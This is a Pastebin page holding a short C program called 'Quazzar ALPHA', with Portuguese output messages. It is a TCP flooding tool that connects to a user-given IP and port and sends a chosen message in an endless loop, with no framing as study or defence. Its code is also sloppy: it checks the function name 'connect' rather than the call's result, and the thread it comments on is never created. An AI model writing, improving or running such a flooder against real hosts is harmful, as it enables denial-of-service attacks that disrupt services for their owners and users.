Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <time.h>
- #include <math.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <malloc.h>
- #include <stdarg.h>
- #include <strings.h>
- #include <string.h>
- #include <pthread.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- struct sockaddr_in alvo;
- int soquete;
- void thread(char message[])
- {
- connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
- if(connect <= 0)
- {
- printf("Porta provavelmente fechada...\n");
- exit(1);
- }
- printf("Flooding...\n");
- while(1)
- {
- send(soquete,message,strlen(message),4);
- }
- }
- void criar_socket(char *ip[], char *porta[])
- {
- soquete = socket(AF_INET,SOCK_STREAM,6);
- alvo.sin_family = AF_INET;
- alvo.sin_port = htons(atoi(*porta));
- alvo.sin_addr.s_addr = inet_addr(*ip);
- bzero(&(alvo.sin_zero),8);
- if(soquete < 0)
- {
- printf("Erro na cria\u00E7\u00E3o do socket.\n");
- exit(1);
- }
- }
- void main(int argc, char *argv[])
- {
- printf("Quazzar ALPHA\n");
- if(argc < 4)
- {
- printf("Usage %10s <IP> <Port> <Message> \n",argv[0]);
- exit(1);
- }
- if(strlen(argv[1]) > 15 || strlen(argv[3]) > 40)
- {
- printf("IP inv\u00E1lido ou Mensagem muito longa\n");
- exit(1);
- }
- const unsigned short int port = atoi(argv[2]);
- if(port > 65535 || port <= 0)
- {
- printf("Numero de porta inv\u00E1lida...\n");
- sleep(1);
- exit(1);
- }
- //Criação de threads recomendavel aqui
- criar_socket(&argv[1],&argv[2]);
- thread(argv[3]);
- close(soquete);
- }
Advertisement
Add Comment
Please, Sign In to add comment